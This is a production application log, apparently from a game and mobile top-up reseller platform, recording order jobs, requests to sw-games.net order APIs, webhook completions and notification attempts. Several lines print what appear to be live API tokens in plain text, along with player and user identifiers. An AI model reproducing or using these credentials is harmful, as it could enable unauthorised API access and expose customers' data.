[2026-03-24 22:58:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-TrFVxa-1774382081"]} 
[2026-03-24 22:58:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:58:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:58:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:58:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:58:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"count":1} 
[2026-03-24 22:58:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"count":1} 
[2026-03-24 22:58:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"user_id":67,"notification_type":"order_approved","reference_id":179506} 
[2026-03-24 22:58:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:58:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:58:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"errors":0} 
[2026-03-24 22:58:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375,"processed":1,"errors":0} 
[2026-03-24 22:58:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3CdBRuzPo3FClOPQEjIELDgLGrGVUWw3","execution_time":"2026-03-24 22:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TrFVxa-1774382081","operation_id":164375} 
[2026-03-24 22:58:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 67  
[2026-03-24 22:58:13] production.INFO: SendAcceptReject: Notification queued {"user_id":500,"notification_type":"request_approved","reference_id":18725} 
[2026-03-24 22:58:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 500  
[2026-03-24 22:59:24] production.INFO: Constructing job for order: 179513  
[2026-03-24 22:59:27] production.INFO: Handling job for order: 179513  
[2026-03-24 22:59:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:59:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:59:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/827/params?qty=10000&uuid=03c10de3-b8cf-46db-84b2-6e7c329c4c56&Player_ID=18374952  
[2026-03-24 22:59:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/827/params?qty=10000&uuid=03c10de3-b8cf-46db-84b2-6e7c329c4c56&Player_ID=18374952","has_body":false} 
[2026-03-24 22:59:28] production.INFO: Operation sent successfully {"operation_id":164382,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1GPZu-1774382368","amount":1.0464160000000000128039800983970053493976593017578125,"status":"processing","product":"Nahki Amount","game":"Nahki","notes":[],"created_at":"2026-03-24 22:59:28"}},"processed_data":{"order_number":"ORD-1GPZu-1774382368","amount":1.0464160000000000128039800983970053493976593017578125,"status":"processing","product":"Nahki Amount","game":"Nahki"}} 
[2026-03-24 23:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01"} 
[2026-03-24 23:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","total_operations":1,"sites_count":1} 
[2026-03-24 23:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-1GPZu-1774382368"]} 
[2026-03-24 23:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382} 
[2026-03-24 23:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 23:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"processed":0,"errors":0} 
[2026-03-24 23:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qliWZJ5p9NWka2lflEz6iU8pHo0O7fQt","execution_time":"2026-03-24 23:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382} 
[2026-03-24 23:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:00:03] production.INFO: async() رجع: true  
[2026-03-24 23:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:00:51] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"10.0","mainamount":"10","operation_number":"158834882","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpe04846itje96aTIeqWx"}},"user_id":1751} 
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 23:00:51] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 23:00:51] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18726,"user_id":1751,"amount":10.0,"admins_notified":7} 
[2026-03-24 23:01:26] production.INFO: Constructing job for order: 179514  
[2026-03-24 23:01:27] production.INFO: Handling job for order: 179514  
[2026-03-24 23:01:27] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:01:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:01:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e549c360-eea8-4788-a528-9397b22782f1&Player_ID=0940103876  
[2026-03-24 23:01:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=e549c360-eea8-4788-a528-9397b22782f1&Player_ID=0940103876","has_body":false} 
[2026-03-24 23:01:28] production.INFO: Operation sent successfully {"operation_id":164383,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Z1B-1774382488","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:01:28"}},"processed_data":{"order_number":"ORD-Z1B-1774382488","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:01:34] production.INFO: Constructing job for order: 179515  
[2026-03-24 23:01:36] production.INFO: Constructing job for order: 179516  
[2026-03-24 23:01:37] production.INFO: Handling job for order: 179515  
[2026-03-24 23:01:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:01:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:01:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9f9ecd0c-b7ea-4e04-b6b8-1efc0c7599e4&Player_ID=51957524285  
[2026-03-24 23:01:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9f9ecd0c-b7ea-4e04-b6b8-1efc0c7599e4&Player_ID=51957524285","has_body":false} 
[2026-03-24 23:01:38] production.INFO: Operation sent successfully {"operation_id":164384,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iyP0E8Zh-1774382497","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:01:38"}},"processed_data":{"order_number":"ORD-iyP0E8Zh-1774382497","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 23:01:38] production.INFO: Handling job for order: 179516  
[2026-03-24 23:01:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:01:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:01:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=de38ee72-f67b-4de9-a748-78c7f6b026f8&Player_ID=51957524285  
[2026-03-24 23:01:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=de38ee72-f67b-4de9-a748-78c7f6b026f8&Player_ID=51957524285","has_body":false} 
[2026-03-24 23:01:38] production.INFO: Operation sent successfully {"operation_id":164385,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2yF54rg1-1774382498","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:01:38"}},"processed_data":{"order_number":"ORD-2yF54rg1-1774382498","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 23:01:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-2yF54rg1-1774382498","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:01:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-2yF54rg1-1774382498","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:01:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:01:48] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":179516} 
[2026-03-24 23:01:48] production.INFO: Order updated successfully. Order ID: 179516, Status: completed  
[2026-03-24 23:01:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-2yF54rg1-1774382498","status":"completed","codes_count":0} 
[2026-03-24 23:01:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iyP0E8Zh-1774382497","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:01:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-iyP0E8Zh-1774382497","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:01:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:01:50] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":179515} 
[2026-03-24 23:01:50] production.INFO: Order updated successfully. Order ID: 179515, Status: completed  
[2026-03-24 23:01:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iyP0E8Zh-1774382497","status":"completed","codes_count":0} 
[2026-03-24 23:01:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 23:01:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 23:02:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03"} 
[2026-03-24 23:02:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","total_operations":2,"sites_count":2} 
[2026-03-24 23:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-1GPZu-1774382368"]} 
[2026-03-24 23:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"count":1} 
[2026-03-24 23:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"count":1} 
[2026-03-24 23:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"user_id":1488,"notification_type":"order_approved","reference_id":179513} 
[2026-03-24 23:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"processed":1,"errors":0} 
[2026-03-24 23:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"processed":1,"errors":0} 
[2026-03-24 23:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"orders_count":1,"order_ids":["ORD-Z1B-1774382488"]} 
[2026-03-24 23:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382} 
[2026-03-24 23:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1GPZu-1774382368","operation_id":164382,"orders_count":1} 
[2026-03-24 23:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"count":1} 
[2026-03-24 23:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"count":1} 
[2026-03-24 23:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"user_id":1071,"notification_type":"order_approved","reference_id":179514} 
[2026-03-24 23:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"processed":1,"errors":0} 
[2026-03-24 23:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383,"processed":1,"errors":0} 
[2026-03-24 23:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"OMwLhAIvkkzklkbeIs49F2B4OTqth6Uj","execution_time":"2026-03-24 23:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z1B-1774382488","operation_id":164383} 
[2026-03-24 23:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 23:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 23:02:25] production.INFO: Constructing job for order: 179517  
[2026-03-24 23:02:27] production.INFO: Handling job for order: 179517  
[2026-03-24 23:02:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:02:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:02:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=30e7c68a-cacc-4823-848b-2634c767378b&Player_ID=53256498  
[2026-03-24 23:02:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=30e7c68a-cacc-4823-848b-2634c767378b&Player_ID=53256498","has_body":false} 
[2026-03-24 23:02:28] production.INFO: Operation sent successfully {"operation_id":164386,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0hM-1774382548","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 23:02:28"}},"processed_data":{"order_number":"ORD-0hM-1774382548","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 23:02:41] production.INFO: Constructing job for order: 179518  
[2026-03-24 23:02:43] production.INFO: Handling job for order: 179518  
[2026-03-24 23:02:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:02:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:02:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=50da4413-4232-400c-9531-f85f0e2b8756&Player_ID=yaza147849  
[2026-03-24 23:02:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=50da4413-4232-400c-9531-f85f0e2b8756&Player_ID=yaza147849","has_body":false} 
[2026-03-24 23:02:44] production.INFO: Operation sent successfully {"operation_id":164387,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5p68T3QN-1774382563","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 23:02:44"}},"processed_data":{"order_number":"ORD-5p68T3QN-1774382563","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 23:02:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5p68T3QN-1774382563","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:02:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-5p68T3QN-1774382563","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:02:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:02:49] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179518} 
[2026-03-24 23:02:49] production.INFO: Order updated successfully. Order ID: 179518, Status: completed  
[2026-03-24 23:02:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5p68T3QN-1774382563","status":"completed","codes_count":0} 
[2026-03-24 23:02:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
